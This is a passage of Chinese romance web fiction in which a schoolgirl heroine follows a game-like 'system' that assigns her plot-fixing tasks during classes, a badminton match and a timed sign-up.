人走后,阮柚恰好听见李稚的低声嘀咕,“确实很好看,但太铁面无情了,pass.” 阮柚:…… 回到教室后,阮柚看了下今天的课表,是一堂讲说古典著作的选修。 她坐在座位上,嚼着最后一颗软糖,正准备收拾书去对应教室之际,一段剧情毫无征兆出现在脑海—— 哦豁。 阮柚杏眼一亮,尔后,很快端坐好。 变化起伏之明显,惹得正看书的顾叙动作一顿。 怎么了? 阮柚轻微朝他晃了下脑袋,眼神示意他继续看书。 接着,屏气凝神,听着要修正的剧情兀自推演。 【当在选修课同时看见宁糖、顾叙、以及逃课在后排睡觉的成玉时,阮柚有种不太好的预感。而当她在上课后看到宁糖和江净理坐在一起后,更是心乱如麻。 她从内心深处,惧怕那两人走近,也本能排斥,那藏在暗处的秘密,被戳穿发现。】 所以她的任务是,警惕观察两人半节课,不放过任何风吹草动? 系统应声很快:是的哦,请宿主再接再厉,勇往直前! 听见系统突如其来的心灵鸡汤,她默默喝了口温水。 冷静一下。 原身,这么喜欢暗中观察吗? 这般想着,身边少年不知何时站了起来,沉默间,伸手将椅子推至桌下。 “走吧。” 对方嗓音很轻,极富耐心。 阮柚很快凝神,应声后,将书抱在怀里,跟随他走出了教室。 一路上,竟也有不少人和她打招呼。 她均一一回应,摸了下鼻尖,心中困惑暗忖。 在她眼里他们都是生面孔,难不成……她有脸盲症? 身边,顾叙缓缓出声:“你真的很受欢迎。” 阮柚茫然:“嗯?” 顾叙笑了下,道,“我能看出来,他们都很想认识你。” 阮柚抿了下唇,对此半信半疑,很快在沉默中抛在脑后。 进教室后,她的视线来回穿梭,迅速锁定在噪杂台下左侧,宁糖身后空出来的座位。 还未走近,从书本抬起头的宁糖恰好分来注意,眼神倏然一亮,朝她挥了挥右手。 “阮柚,这边!” 动静不打不小,却是引起小范围的异动。阮柚保持自然往前走着,矜持颔首,自顾自地在女主身后落座。 至于宁糖身边,自然是要留给江净理的。 阮柚放下书本,还未落座,身边传来轻响。 顾叙将书平放在桌面,窗扉透来的阳光下,侧脸轮廓利落干净,“空位没几个了,介意我坐过来吗?” 阮柚轻微摇了摇头,既然如此,她自然没有介意的理由。 唔,只是待会儿要更神不知、鬼不觉一些。 她枕臂趴在桌上,百无聊赖地轻拨书页,鼻息萦气淡淡的墨香。 按照剧情,江净理是在上到一半时过来的。 听见熟悉的预备铃声,阮柚微微坐正,胳膊叠在桌面,打算暂时先好好听课。 而不多时,身边传来一阵惊愕,“成,成玉?你怎么在这里?” 成玉随手压下微翘的黑发,俯身坐正后,嗓音倦怠,“我?当然是来认真听课。” 对比之下,云淡风轻。 阮柚蓦地转过头,眼睁睁看着本该在后排睡觉,只在下课露脸的成玉,在她右边的空座悠悠落座。!! 认真听、听课? 周围人闻言,不由愣住,面面相觑。 可是……明明不是同年级,来听哪门子课。 更何况,他连书都没带! 第29章 第二十九章 二更合一 铃响后, 老师暂时还未到,阮柚扫了眼几乎坐满了人的教室。 和漫画毫无出入,这堂课十分抢手。 正陷入思忖时, 她听见身旁放低的声音,“我没有书,能一起看么?” 阮柚听出几分认真, 转头, 仍是狐疑看了对方一眼。 成玉……真的要过来听课? 成玉似乎读懂她的表情,胳膊规整叠放桌前, 实际行动回答着她。 “可以吗?” 她一顿,轻微点了下头,没再多想,将书移了过去。 而很快, 面前扫来一阵空气,定睛望去, 一本书先她一步落在成玉桌前中央。 ——“我预习完了, 不需要。” 书本封面贴着一张米白便贴, 澄净阳光下, 字迹熟悉可辨。 阮柚于是缩回课本, 尔后,默默看向顾叙。 顾叙刚收回视线,看到她时一笑, 缓慢口语着“专心听课”四个字 被氛围带动感染, 她安静抿了下唇, 伸手掀过书页。 密麻紧凑的字体,几乎毫无图片讲解,阮柚看得左进右出, 几近出神边缘。 唔,不愧是学霸,能完整预习下去。 而身边,成玉和她同步起书页,很快也没了动静。 感受到这一点,阮柚心下好奇,打起些精神,余光扫去后,却和预想的不同。 欸?! 对方一动不动,真的是在认真看书! 是她想多了。 思及此处,她有些心虚摸了下鼻尖。 然而还未来得及细想,身边动作一转,少年慵懒抬起胳膊,脸颊侧压桌面,扫过书页边角,风无声息撩动着碎发。 垂着眸,一副百无聊赖、漫不经意的样子。 阮柚:……好吧。 台上老师已经到了,板书利落齐整,正细致讲解着文学脉络。 阮柚安静听课良久,倏然间,捕捉到一个略微耳熟的名字。 “季安玉,不仅是如今最著名的学者之一,也是我最喜欢的老师,她对我的影响是受益终生的。讲台上,老师语气微微放柔,停顿着,似短暂陷入回忆。 几乎同时,身边一阵轻笑,动静微不可察,辨不出任何情绪。 阮柚垂睫,望着书页上人物介绍,均是同一人的文学成就、成长轨迹。 如果她没记错的话,季安玉是成玉的母亲。 【系统:恭喜宿主解锁新人物,奖励:人物相关剧情背景x1,请合理使用哦。】 听见系统的电子音,阮柚心底闪过意外。 人物相关剧情背景。 这是什么? 正当插曲无波无澜过去之际,忽然一道微讶声音,从讲台处响起。 “成玉,你怎么会在这里?” 话音一落。周遭目光顿时连串袭来,平静泛起涟漪。 阮柚沉默立起书本,垒起净土,避开大起大落的风波。 而身边,成玉往后一倚,抬起头,慢吞吞道,“老师,久闻盛名,所以过来旁听。” 少年迎着一众目光,话讲得云淡风轻,认真不似作假。 听见他的话,阮柚睫毛一抖。 假设不是提前知道剧情,她可能也将会像旁人一样,半信半疑、甚至相信了。 “是吗?”老师闻言,抬起微笑道,“谢谢,我的荣幸。请代我向你母亲问好。” 成玉:“好啊,我会的。” 边说着,他微微颔首。而低头时,睫遮下,漆黑的眸子沉下几分冷淡。 情绪悄然即逝,倘若阮柚没有刚好看过去的话。 被揪住视线一刻,她不由得一愣,尔后快速回过神,盯着直立的书本看。 唔,刚才好像被发现了。 “无聊对么,这节课。”身边,少年不急不缓,撑起下巴看她,睫毛投下淡淡阴影。 似是随口一提。 阮柚抿了抿唇,望向成玉,一时没有答话。 而恰逢此时,前门处响一阵敲门声,伴着一阵小范围的骚动。 “抱歉老师,临时有事,来晚了。” 声音熟悉,礼貌而疏离。 “没关系,进来吧。” 老师点了点头,表示理解。 终于来了。 阮柚心微微一定,下意识挡在书本下,飞速思忖起来。 顾叙笔尖微滞,抬起头,看着兀自朝这边走来的江净理。 而这边,却是教室位置最稀缺的地方。 阮柚屏气凝神,感受到面前视野微暗,似乎延长了几秒。 她眉心微蹙,正犹豫想探去视线时,对面声音迟缓响起,嗓音很轻,“请问这里有人吗?” 宁糖很快道:“没有。” “谢谢。”少年声音利落,很快落座。 尘埃落定。 阮柚不自觉翘起唇角,目前为止,任务进展还算顺利。 除了—— 她慢吞吞落下书本,视线左右游离,觉察后,凝固又烫住。 ……? 是她的错觉吗,成玉和顾叙,怎么都在看她! 隔了两秒,顾叙淡笑了下,尔后,沉默指了下她发顶方向。 阮柚心漏半拍,抬起手,随着方向按压在几缕刘海上。 ……所以,她的头发,一直被书沿挤翘在上面? 思及此处,她唇角一抖,飞速敛下情绪,极小声道了声谢。 唔,只要她不尴尬,这里就没有人会尴尬。 这边,如期进行了讨论环节。 阮柚正襟危坐,照着剧情设定走向,在纷杂谈论声中,时刻留意两人动静。 暗中观察—— “按照我的想法来看……阮柚?” 一道熟悉的男声唤回了她的注意力。 阮柚眨了眨眼睛,回神,点头如捣蒜,“没错,我也这么觉得。” 顾叙一愣,尔后,笑意融在深灰眼眸,“嗯,你也觉得我说的很对是吗?” 阮柚顿了两秒,脸不红心不跳,“嗯,对呀。” 说罢,扫了眼对方的笔记一页。 顾叙颔首,转了下笔,随口问,“哪里对?” 阮柚闻言,捏了下手指,大脑一片无效空白。 很快,一阵诡异沉默。 而正值此时,身后成玉凑过来,缓缓出声,“你们讨论,为什么不带我?” 带着熟悉的气息。 少年语气压得很低,在他人听着,近乎于一种委屈,和形象尤为不符。 而待她条件反射望去后,对方却是神色如常,抬眸,唇角笑容依旧。 对上视线后,他好奇问她,“刚才讨论的是什么?” 依旧回答不上来、陷入左右为难的阮柚:“……” “……阮柚。” 她还未说话,又听见前方传来一道迟疑声音,不用抬头看,就知道是……女主宁糖。 阮柚心口一紧,凝神,循声望去。 斜刺里,宁糖咬了下唇,眸色闪烁期待光芒,“我能加入你们么?” 阮柚余光觉察到几分不对,心重重一沉,勉强着表情管理。 怎么一眨眼的功夫,江净理人不见了! 那边,宁糖自顾自道:“江同学刚看了眼短信,就起身示意离开了,应该是有事吧。” 成玉闻言,无所谓一笑:“行啊,那一起讨论吧。” 阮柚捏了捏拳,瞄了眼门口方向,心如死灰。 呜,那她的任务怎么办! 怎么又不按剧本来! / 下课后,阮柚被宁糖叫住,对方抱着书本,一脸欲言又止。 她觉察几分,看了眼守在旁边的两人,“你们先回去吧,我有些事要说。” 成玉:“没关系,我可以在走廊等你。” 说罢,他偏头看向顾叙,淡声,“你比较忙,就先回去吧。” 顾叙顿了下,掀眼望向阮柚,嗓音温淡,“书给我吧,我在外面等你。” 尔后,不由分说将桌上书本拿走,安静转身离去。 阮柚眨了下眼睛,望着先后离开两人,话语截在嗓子里,不明所以。 这里离B班就隔着一道楼梯走廊,距离并不远,所以……为什么要等她呀? 教室人/流渐消,宁糖声音愈发清晰,“阮柚,我昨天去看阮时了。” 嗯? 阮柚平静看向她。 宁糖想了下,赶忙道,“我没有提前说,是因为我刚好去了医院附近,临时起意……” 她有些敏感地看了阮柚一眼,手指搅着衣角,酝酿着接下来的话。 阮柚沉默点了点头,表面淡然自若。 实际上,她非常乐见其成。 因为按照原漫来讲,宁糖无疑是阮时更亲近的大姐姐,像太阳一样温暖的存在。 阮柚注意到对方的表情,问,“是有什么事吗?” 宁糖轻咬了下唇,闪过一丝纠结,还是道,“阮时的手术很成功。……但他和我说,他很想见你,想让我帮忙问问你,是不是生气了。” 生气? 阮柚心下微愕,唇微抿,下意识摇了摇头,“我没有。” 话音刚落,她莫名回想起那天的不告而别,直到现在,她也没有做出解释。 所以才会这么想么? 宁糖:“阮时听到这句话,会很高兴的。” 辞别后,阮柚走出教室,想到刚才做出的决定。 她一时头脑发热,说出“明天抽空去医院看阮时”这句话。 阮柚微微舒了口气,心一定,将杂乱思绪甩在脑后。 算了,不然他又要胡思乱想了。 “学姐。”成玉半撑在走廊围栏,眉眼染笑,“我们走吧。” 阮柚见他走来,微微点头,又倏然想到什么。 “顾叙呢?” “被你们老师临时叫走了。”成玉并肩同行着,语气轻快陈述事实。 少年穿着一身学院制服,原本张扬的气质多了几分乖顺。 阮柚闻言点头:“这样啊。” 成玉毫无征兆:“明天下午没课,有安排吗?” 明天下午?阮柚一怔,很快想到了刚才的决定。 “嗯,已经有了。” “好吧。”少年声音隐约失落,下巴微抬,轻喃,“看来还是说晚了。” 听见大概后,阮柚右眼皮一跳,嗯了声,理智没有继续追问。 快要走到空旷楼梯口时,成玉倏然步伐一滞。 阮柚不明所以投去视线,却见他手指抵在唇前,小声嘘了下。 顺着对方力道停在身边后,阮柚眼底闪过茫然,凝神后,探去几分心思。 “顾叙,这是我的信……” “对不起,这我不能要。” 很快,顾叙答话,声音很淡。!! 阮柚脊背抵在墙壁,微微瞪大眼睛。 唔,所以……? 她安静对上成玉的目光,尔后,窥见同样的想法。 感觉到氛围的僵滞,她纠了下成玉衣角,压低声音,“我们还是走吧。” 这种的场合,在这里不太合适。 尤其是,如果被发现…… 身旁,成玉低下头,顿了下,轻微颔首。 他转过身,似是觉得没了兴致。 正当两人不约而同离开时,正前方,蓦地小跑来一道身影。 女生快速晃过身影,打理漂亮的栗色卷发随着动作散在身后风中 是孟季雪。 阮柚站在最前面,冷不丁对上视线后,心中流淌无言尴尬。 被发现了! 而身后头顶,倏然一声轻笑,落在鼻息下,像极了忍俊不禁。 但在她看来,俨然是看热闹不嫌事大的姿态。 孟季雪飞速扫过视线,人影径直闪过,俨然无暇搭理。 很快,隔着一道墙壁,阮柚听见她扬声道,“顾叙,你不可以答应她。” “刚才的女生是谁?她给你信了?” 她问得很急切。 顾叙:“和你没关系,孟季雪。” “为什么和我没关系,顾叙,她连那两个字都不敢说。” “可我敢,我不仅敢说,还敢让所有人都知道……” “可我不想要,对不起。” 似是猜到下一句话,少年平静补充,“你也不需要任何改变。” 临走前,阮柚刚好听见了孟季雪的话,声若蚊蝇,“可我好像,从一开始,就应该喜欢你啊。” 两人前后离开时,成玉走到她身边,“孟季雪从小就喜欢跟在他身后。” 顿了下,他又道,“她的性格,倒是很像一个人。” 阮柚下意识抬眸:“谁?” 成玉看了她三秒,扬眉,“……我母亲啊。” 阮柚:“……哦。” 她没再好奇追问。 折返另外一条路上楼后,阮柚眼尖看到了往B班走的顾叙。 唔,被看得莫名几分心虚。 成玉:“学姐。” 顿了下,“下次把时间……” 与此同时,隔着长空,顾叙抬眸,慢条斯理道:“阮柚,快上课了,” “下节课,好像是许老师的。” 成玉话语停下,静静望过去,有些意味不明。 许、许老师? 阮柚听见这三个字,轻微咽了口空气。 自从上次当众被抓,对方说一不二的严肃就在她心底留下浅淡阴影。 “我来了,成玉,再见!” 想到这,她转过身,和成玉道别。 动作干净利落,毫不拖泥带水。 成玉抬唇一笑:“嗯,那么下次见。” 坐回位置没几秒,有人热情钩住她的脖颈,声音轻快雀跃,“下节课是体育,阮柚,兑现你的承诺吧,好久没喝奶茶了。” 混乱望去,是一脸笑意的李稚。 “体、体育课?”阮柚一愣,不由得重复。 李稚眨巴眼睛:“对呀,你难道不知道?” 阮柚点了点头,尔后,听见顾叙声音恍然,他站在座位前,声音温和,“是体育啊,我记错了。” 不是许老师的课! 阮柚倏然送了口气,连带着心情放晴,朝李稚点了点头。 “好。” 李稚松开阮柚,忍不住捏了下她白嫩的脸颊,好可爱! 而离开后,她冷不丁想起顾叙刚才的话。 他记错了? 可她明明看见体育老师找他安排上课事务呀。 奇怪。 而阮柚这边,刚喝完水时,一则隐藏任务忽然出现在脑海。 她安静合上杯盖,握着杯子,仔细浏览。 系统:请宿主在体育课上,暗中助推女主宁糖实现解围。 阮柚一瞬茫然,什么意思? 正这般想着,一段完整剧情在脑海出现—— 体育课上,宁糖因为无意招惹班中某些同学、以及‘特别’的学生身份,一如既往地遭到孤立排挤,在羽毛球练习时,她形单影只,没有人愿意和她组队。 “而这时,顾叙突然从天而降,像天使一样拯救了她?” 阮柚回顾系统的画面描述,手中杯子一颤,差点顺膝滚落地面。 余光里,不自觉扫了眼讲台前整理试卷的颀长身影。 系统:是的,需要宿主完美修正这段剧情,以此助推故事发展哦。 听见系统的话,阮柚皱了下眉,想了想,还是忍不住问,“可……怎么从天而降啊?” 这么高难度的动作…… 话音刚落,系统诡异一默,电子音迟滞横过耳际。 正当她以为不会听到回答时,耳畔,又一次响起它的声音,隐约些许抓狂,“宿主,你知不知道什么叫罗曼蒂克描述法!” 阮柚:…… 现在知道了。 / 外面一片风和日丽。 天空蔚蓝晴朗,微风鼓噪衣摆,安逸说不出话。 而这边,阮柚被迫赶鸭子上架,抱着奶茶,坐在看台观察宁糖那头的风吹草动。 果不其然,宁糖单手环着膝盖,独自一人坐在斜侧角落,和周围同学的热闹泾渭分明。 李稚顺着望去,“他们班看来要打羽毛球欸。” 阮柚凝神,咬着口感弹糯的珍珠,尔后道,“你喜欢吗?” 很快,听到对方连声拒绝,“我对体育不感兴趣,幸好这节课我们是自由安排。” 阮柚点了点头,表示赞同。 没错,幸好现在是自由活动,能更方便她完成任务。 “按照我的印象,班长初中好像是羽毛球社的骨干吧,还代表学校得了不少奖项。” 嗯? 阮柚听见这句话,眼睛倏然一亮,瞬间来了精神。 她矜持点了点头,尔后,微微扬声,“那看来顾叙打羽毛球很厉害喽。” 余光扫过抱着篮球路过的顾叙,细致观察对方一举一动。 李稚点头:“嗯,如果我记忆没出差错的话。” “你们谈论的人是我吗?” 前面,顾叙脚步一顿,将篮球递给同伴,朝这边走了过来。 阳光微微遮住,安静投落下阴影。 议论被抓了个正着,李稚静静握着奶茶,一时卡顿。 下次一定再小点声! “是啊。”阮柚弯唇一笑,抬头,面色如常,“羽毛球。” 确定对方一定是听见了,她就只说了个大概三个字。 余光快速探去时,阮柚注意到,宁糖班级那边已经散了队形,开始了自行组队。 应该很快,老师便会注意到女主独自一人,催促她快些组队。 顾叙淡笑了下,嗓音平静,“以前很喜欢。” 话说着轻描淡写,停在她身边空椅,即将落座。 等等—— 现在不是聊天的时候! 阮柚心倏然一紧,眼疾手快地拦住他。 “等一下。” 不知谁在旁边,微微倒抽了口气,瞬间唤回清醒。 阮柚视线定了定,尔后,猛地缩回扣在少年指节的右手。 冰凉、陌生、感觉异样。 她埋了埋手心,很快,感觉到一道沉默视线接踵而至。 阮柚微微坐正,看向安静的顾叙,扯起唇角一笑,“不好意思。” 尔后,飞速到好似烫嘴念着提前酝酿的话,“那边在练习羽毛球,要不要去看看。” 暂时没有收到反应。 只有李稚默默揪了下她的衣角。 顾叙敛眸,轻声重复,“……去看看?” 阮柚期待点了点下巴,仰起头,苦心冥想,“呃……找回你曾经的梦想?” 李稚一听,紧紧咬着唇,看会儿天又望会儿地,努力装作若无其事的样子。 ……找回曾经的梦想? 她是怎么做到一本正经说出这几个字的! 而对面,顾叙捻了下指尖,顿了下,“可以。” “一起吧。” 阮柚点了点下巴,对这个提议并不意外。 等会可以继续撺掇! 走到附近球场后,她探了探脑袋,看了眼孤站在羽毛球场角落,神色落寞的宁糖 体育老师正肃着脸,将她的不合群打上叛逆的标签。 是时候了! 阮柚呼吸微屏,扫了眼不远处剩下的羽毛球拍。 而不多时,顾叙喉结微动,忽然问,“那是你的朋友吗?” 阮柚愣神,顺着他的目光望去,正是宁糖。 还未回答,少年话音一转,自顾自道,“看来我问了个多余的问题。” 嗓音带着笑,不知想到了些什么。 阮柚张了张口,望着他,下意识问,“怎么了?” “走吧。” 顾叙淡笑了下,兀自走去那边拾起球拍,伸出手递给她。 “我不用……”阮柚摆了摆手。 等等,不是她打呀! “阮柚!” 恰逢此时,一道熟悉女声来得突兀,逼近地极快,瞬间吸引旁人视线。 “顾叙,他怎么会出现?” “我没看错吧!!” “早知道我下午就不穿校服了!” 面前微风拂掠,阮柚动了动下巴,闻着对方熟悉的体香,陷入不明所以。 呜,宁糖为什么跑过来抱她! 身形倏然一松,几乎站定同时,阮柚对上宁糖明亮的双眸。 宁糖紧抿了下唇,眼底烁动感动光芒,“阮柚,谢谢你能够出现。” “这对我而言……” 阮柚不受控咳了两声,脸颊泛起温热,对着跑偏的现状摇了摇头。 尔后,她微呼了口气,心定了些,不由分说看向拿着球拍的顾叙。 “不是我,是他。” 顾叙轻皱了下眉,眼底一瞬困惑。 但事已至此,开弓没有回头箭,阮柚镇定清了清嗓,“宁糖很会打羽毛球。” 宁糖瞪大眼睛,想要说什么,却被阮柚看好般拍了两下肩,又默默塞了球拍。 阮柚视线一来而回,一本正经,“我很期待你们之后的切磋。” 顾叙微怔,没有答话。 宁糖:……? 旁观人群瞠目结舌:什么!顾叙要和宁糖打羽毛球! 【系统:恭喜宿主成功完成任务,奖励金币x10 剧情修正卡x1】 阮柚终于松了口气,肩膀松垮下,轻快地快要和空气融为一体。 完、成、了! 解放啦! 而与此同时,系统的声音再次响起,将她的思绪拉回。 【系统:检测到重要人物出没,请宿主注意稳固剧情。】 阮柚顺着忽起的动静探去目光,隔着对面道路护栏网,一群西装革履的人路过。 不知为何,几人停下了步伐。 一一扫过眼熟的圣煜校领导面孔,阮柚微微咽了口空气。 尔后,冷不丁地撞上一道柔和视线,女人先一步望过来,阳光下瞳色偏浅,眉眼笑意优雅。 是许久未见的郁时漫。 而她的身边,江净理长身玉立,碎发掩在黑色帽檐下,眼底情绪不明。 隔着空气,阮柚注意到他偏过头,轻笑了下,似是旁边人说了些什么。 很快,两人齐齐望了过来。 ……!! 第30章 第三十章 倒计时 隔着漫长空气, 视线悉数投来,悠悠定格。 出现得尤为突然、意外。 他们怎么来了? ……剧情似乎提前了。 阮柚一时警铃直作,大脑运转飞速, 踌躇在原地。 【系统:检测到剧情出现变动,请宿主注意稳固剧情。】 直到系统再次发出声响,这才在一片喧噪里, 唤回她的理智。 “阮柚。” 身后, 顾叙在喊她。 回头望去,少年低握着球拍, 影绰光斑散在黑发,笑得柔和,“既然这样,那我继续吧?” 他询问着, 一种置身事外的姿态,隔绝一切纷扰。 阮柚睫毛微闪, 闻言, 点头渐渐加重, “好。” 和她的想法完美契合! 宁糖望过来, 闪过犹豫, “我的水平一般。” 阮柚脱口道:“没关系,这又不是比赛。” 说罢,她微松了口气, 俯身, 捡起白色羽毛球。 应该……算翻篇了吧? 而另一边, 江净理捡起地面银圈钥匙扣,敛眸,安静递还。 “谢谢。” 矮个男人很快接过, 发汗掌心蹭过西装口袋,闪过一丝受宠若惊。 “不去那边看看么?那是……小叙吧? 郁时漫稍侧过头,话讲得很轻,尾音微微拉长。 江净理短暂蹙了下眉,尔后,步调微动,“不用,走吧。” 走? 身边,友人心下异样,本想借顾叙让江净理转移注意,活跃气氛,但现如今,怎么感觉愈发冷清了呢。 他摸了下后脖颈,没再多想,跟上一伙人的步伐。 这边,阮柚听见渐歇的议论声,下意识扫去视线。 虚惊一场,好在他们已经离开了。 见状,她双手撑坐看台座椅,抬起眼睛,放松又闲适。 就是—— 唔,这里风怎么这么大。 早知道就往下坐一些了。 稍微坐正时,冷风恰好灌入衣领,贴肌凉意带起了一阵战栗,阮柚赶忙伸手拢起,视线一定,下意识往台下望去。 白色羽毛球在空中完美成弧,一来二去,利落又熟练。 剧情一切恢复正轨,女主也遇见了陪她打羽毛球的‘天使’。 意识到这点,少女悠闲环臂,靠背而坐,忍不住翘起唇角。 “阮柚。” 而此时,一道略微陌生的男声蓦地出现,顿时吸引她的注意力。 阮柚循声望去,下一秒,神色微动。 她身边什么时候来了这么多人! 不再多想,她默不作声点了点下巴,抬眸,看向领头的高个男生。 极短寸头衬得骨相偏冷,挺拔而立时,却有种一板一眼的郑重、或腼腆。 记忆没出错的话,是她的同伴同学,孙一樾。 阮柚抿了下唇,疑惑散去,多了几分认真。 是……有什么重要的事要说吗? 孙一樾飞速扭过头,待身后友人安静下来,转头缓声,“……呃,今天天气真好。” 阮柚眨眼:……? 诡异安静后,她听见有人扑哧生笑,突兀出些许尴尬。 不自觉循声望去时,又见男生抵过鼻尖,望着她,语速似抢答,“但有点冷,气温是零下。” “真冷。”话说完,他接着用手扇了扇风,语气隐约带着感叹。 而不多时,又意识行为几分不妥,右手落下,眼神又迟疑探了过来。 ……? 阮柚仰头看了眼天,尔后,睫毛安静扑闪,“……嗯,是呀。” 所以,特意过来告诉她这件事? 仍是一头雾水。 而耳畔,传来一阵刻意压低的笑,略带揶揄。 随着短暂沉默,阮柚被自己的想法说服,补充,“谢谢你。” “他是觉得你冷,特意过来,是想给你外套。” 一道声音倏然响起,不带犹豫,话音几乎重叠。 嗯? “我不是……” 孙一越看了眼自己的朋友,扭头,烧红至耳根,“所以……你想要我的外套吗?” 少年询问口吻小心翼翼,忽视了身后友人低笑,显得格外认真。 ……想要我的外套吗? 在听见他的内容后,阮柚睫毛不受控一抖。 缓缓别开视线,看了眼对方一扣到底的制服外套。 “不用……” 而话还未说完,肩后侧,温度覆盖沉落,出现的毫无征兆。 阮柚下意识一动,胳肘处恰好蹭过陌生布料,游离望去,是黑色冲锋外套,袖口银线精绣,错落张扬。 衣摆宽大到全然裹挟,混杂着有些熟悉浅淡的松木气息。 ……!? 回头望去时,少年刚好身边落座,扬起桃花眼,笑容轻散,“她有我的就够了。” 是成玉。 温暖到兀自生热,隔绝周遭一切冷气。 但在本能察觉下,又同时感觉到几分不对。 阮柚抬手扒拉了下外套,却被一只手轻拦,手指冷白修长,缓慢替她扯起微微垮落的外套。 “多穿些,不然会感冒。”少年温下嗓,倾身凑近,言辞认真。 孙一樾眼睛一闪,很快,瞥见不经意搭在少女身后椅背的手臂。 某种亲昵意味即使不言,却在任凭发酵中昭然若揭。 道别离开后,友人又一次拍了下他的肩,叹息又接踵而至。 他顿了下,幽怨抬眼,“怎么了?” “本来以为只有我们班长,现在又来了成玉,放弃吧,你撬不动的。” “……你听没听过龟兔赛跑的故事?”孙一樾握拳又道,“没到最后,都不一定。” 龟、龟兔赛跑? 是这么用的吗! 而另一边,羽毛球场下。 顺着少年垂眸的方向,阮柚远眺过台下打球的两人。 “配合的很默契啊。” 她听见成玉开口,不急不缓。 “是啊。” 应声后,阮柚下意识想了想剧情。 在原漫里,这个桥段确实没有成玉的出没。 刚应付过前一个变故,现在又来了一次。 呜,心有些累。 “你怎么会来这里?” 很快,她问出心中的话。 “打球路过,刚好看见了。” 成玉悠悠移开视线,不假思索。 “哦,这样啊。” 她淡淡应声,吹去扫在鼻前的碎发。 看台下,回合终止。 顾叙接过羽毛球,朝宁糖摇了下头,礼貌道,“不用对我道谢,你的实力确实值得这些。” 宁糖平静抿了下唇,听见他的话,眼神闪烁动容。 呼吸声渐渐平息而落。 她感激每个来之不易的机会,并视为上天的恩赐,患得患失。 但几乎从来没人告诉过她,她的实力值得这些。 值得进入钢琴社,值得在圣煜拥有朋友。 真好。今天,他们能够出现。 想到这里,她心底一暖,下意识抬头,望向前缘看台熟悉的方向。 目光尚未定格,旷净地面倏然传来声响,球拍攒落而下,利落而清脆。 循声望去,是顾叙的背影。 而这边,阮柚垂睫,犹豫接过成玉掌心的水果糖。 “谢谢。” 成玉抬眸,慢吞吞道,“应该是荔枝味的。” 阮柚杏眼微亮,刚好是她喜欢的口味之一。 落入唇齿后,荔枝甜味登时融开,驱散大半灰暗心情。 成玉微偏过头,一瞬不瞬望着她,唇角带笑。 而正值此时,系统像幽灵一样,毫无征兆脑海出声。 【系统:任务发布,请宿主及时前往报名,按照剧情争取代言人机会。倒计时时间:五分钟。】!! 五分钟!! 阮柚眉心一动,回魂般从一派慵懒中走了出来。 “成玉,我先走……” 她很快站起身,低下头,摘下外套递还给他。 “阮柚。” 斜刺里,有人喊她的名字。 顾叙。 成玉笑意未改,反问,“为什么?” 少年丝毫不受周遭影响,只抬头看着她,迟了下,最后接过了外套。 阮柚迅速扫向两人,念着迫在眉睫的任务,火烧眉头之势,半秒都不敢耽误。 “临时有些急事。” “我先走了,下次再见!” 话截在半空,她摆了摆手,飞速转身顺着台阶离开。 人影逐渐遥远凝结后,成玉慢条斯理站起身,看向顾叙,“看,你一来,她就走了。” 话语讲得半真半假,漫不经心。 顾叙闻言停下,失笑一瞬,声音很淡,“快下课了,确实该回去了。” 成玉静静看了他两秒,晦暗掩下,尔后,从身边擦肩而过。 他总会有机会见到她的。 / 听见敲击耳畔的倒计时,阮柚心乱到失序,用着毕生速度,奔跑到风声昏茫。!! 呜,怎么还没有到。 系统:还有两分钟,请宿主继续加油,逆风翻盘,勇往直前! ……越听越觉得它是在看热闹。 还剩下最后的两分钟。 穿梭过熙攘纷杂的学生人潮,阮柚抑下胸腔急促,努力平息着呼吸节奏,很快摁下电梯按键。 对比心中倍速的急切,电梯下来的速度可谓是龟速。 阮柚长长呼了口气,捏紧手心,竭力让自己冷静下来。 八楼801会议室。 身边,路过学生关心问,“同学,你没事吧,脸这么红?” 阮柚闻言摇头,礼貌扯唇,“没事,刚跑步了。” 恰逢此时,盼星星、盼月亮,终于盼来了电梯。 阮柚赶忙进去,按下电梯按键 心微微一定,还有八十六秒。 感受着逐渐上升的电梯,她不自觉咬了下唇,暗下思忖。 应该……来得及吧。 空寂的电梯,只剩下她刻意放缓的呼吸声。 她倒计时着楼层,逐渐平静下来。 直到—— 电梯在七楼停下。 阮柚眼皮重重一跳,抬眼望去,看向走来的…… “许,许老师好。” 许老师似乎也有些意外,走进来,扶了下银框眼镜,“是阮柚啊,你怎么在这里。” “哦,现在来这里的话……是来报名那个选拔项目的吧?” 阮柚手指交握黏在原地,心跳快如擂鼓,闻言如实点头,“是的。” 还有不到三十秒!! 许老师:“现在的话……是不是有点晚了呢。” 话音刚落,电梯终于抵达了八楼。 阮柚努力掩下面容,抿唇告别,“再见,老师。” 说罢,没等对方有所反应,匆忙朝着预想的方向跑去。 二十秒—— 812会议室 十七秒—— 807 阮柚仓促扫过教室门牌,忽然在极度紧张下,衍出异样专注。 马上快到了! 十三秒—— 803 倒计时,十秒。 801! 到了。 阮柚步伐停下,飞速确定一遍门牌号,心安定大半,毫不犹豫地推开房门。 尔后,怎么推都推不开! 走廊里,有同学路过,轻声解释,“你来晚了,几分钟前报名就结束了。” 阮柚眼神微烁,唇微动,又听见脑海里近在咫尺地归零节点。 怎、怎么会? 而恰逢此时,走廊的末端,一阵谈话声愈来愈近。 几乎下一秒,她便捕捉到一道熟悉的男声。 如救命稻草一般,清晰着渐近,显现耳畔。!! 而那头,一行人谈笑风生,聊着无非几个老生常谈的话题。 江净理围站在中间,偶尔的配合轻描淡写,却是默契维持着礼貌疏离。 在不经意抬眸时,心尖微动,脚步安静停留。 很快,面前人影停下,微风扫来,温度习习扣落手腕,没有余留片刻反应时间。 少年敛淡下眸,就这样看着少女握过来的手。 热意无息渗过骨血,像火光舔过肌肤,微妙又愉悦。 几人谈话戛然而止,不约而同停下,愕然看着眼前这一幕。 这是什、什么情况!! 他们是不是应该马上离开。 而隔了不过两秒,迎着一众乱飘视线,少女毫无征兆松开右手,尔后道,“报名,我要报名。” 声音俨然急切,又隐约如释重负。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 第三十一章 不,你不知道 任务完成的声音响起。 还好, 在最后关头想起这样也算。 阮柚长顺了口气,背刚刚挺直时,又后知后觉出几分不对。 她微微抿唇, 努力云淡风轻,缓和道,“……可以吗?” 少年一动不动, 对上她的眼睛, “走吧。” 走? 阮柚一愣。 “不是要报名么。” 江净理一顿,对旁边的几人说, “我带她去填表。” 众人领会了言外之意,纷纷迎合,“那我们先回去了。” 他们都是各个场合混出来、长袖善舞的人精,第六感敏锐至极, 当下自是不会久留。 再留在这,感觉脑袋都快发光了! 过了一会儿, 